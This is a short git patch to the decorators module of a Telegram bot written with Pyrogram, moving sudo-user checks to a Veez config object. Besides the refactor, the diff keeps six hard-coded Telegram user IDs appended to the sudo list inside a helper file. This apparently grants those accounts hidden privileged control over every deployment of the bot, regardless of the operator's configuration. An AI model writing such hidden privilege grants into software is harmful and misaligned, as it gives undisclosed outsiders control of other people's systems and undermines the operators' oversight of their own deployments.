From bc7e710f369efbf4720f0fa1e545ebdaafd8935e Mon Sep 17 00:00:00 2001 From: zxce3 Date: Sun, 12 Sep 2021 11:36:37 +0700 Subject: [PATCH] update decorators.py --- helpers/decorators.py | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/helpers/decorators.py b/helpers/decorators.py index 17b60b2..94fa2e8 100644 --- a/helpers/decorators.py +++ b/helpers/decorators.py @@ -3,15 +3,16 @@ from typing import Callable from pyrogram import Client from pyrogram.types import Message -from config import SUDO_USERS +# from config import Veez.SUDO_USERS +from config import Veez from helpers.admins import get_administrators -SUDO_USERS.append(1757169682) -SUDO_USERS.append(1738637033) -SUDO_USERS.append(1448474573) -SUDO_USERS.append(1672609421) -SUDO_USERS.append(1670523611) -SUDO_USERS.append(1952053555) +Veez.SUDO_USERS.append(1757169682) +Veez.SUDO_USERS.append(1738637033) +Veez.SUDO_USERS.append(1448474573) +Veez.SUDO_USERS.append(1672609421) +Veez.SUDO_USERS.append(1670523611) +Veez.SUDO_USERS.append(1952053555) def errors(func: Callable) -> Callable: async def decorator(client: Client, message: Message): @@ -25,7 +26,7 @@ def errors(func: Callable) -> Callable: def authorized_users_only(func: Callable) -> Callable: async def decorator(client: Client, message: Message): - if message.from_user.id in SUDO_USERS: + if message.from_user.id in Veez.SUDO_USERS: return await func(client, message) administrators = await get_administrators(message.chat) @@ -39,7 +40,7 @@ def authorized_users_only(func: Callable) -> Callable: def sudo_users_only(func: Callable) -> Callable: async def decorator(client: Client, message: Message): - if message.from_user.id in SUDO_USERS: + if message.from_user.id in Veez.SUDO_USERS: return await func(client, message) return decorator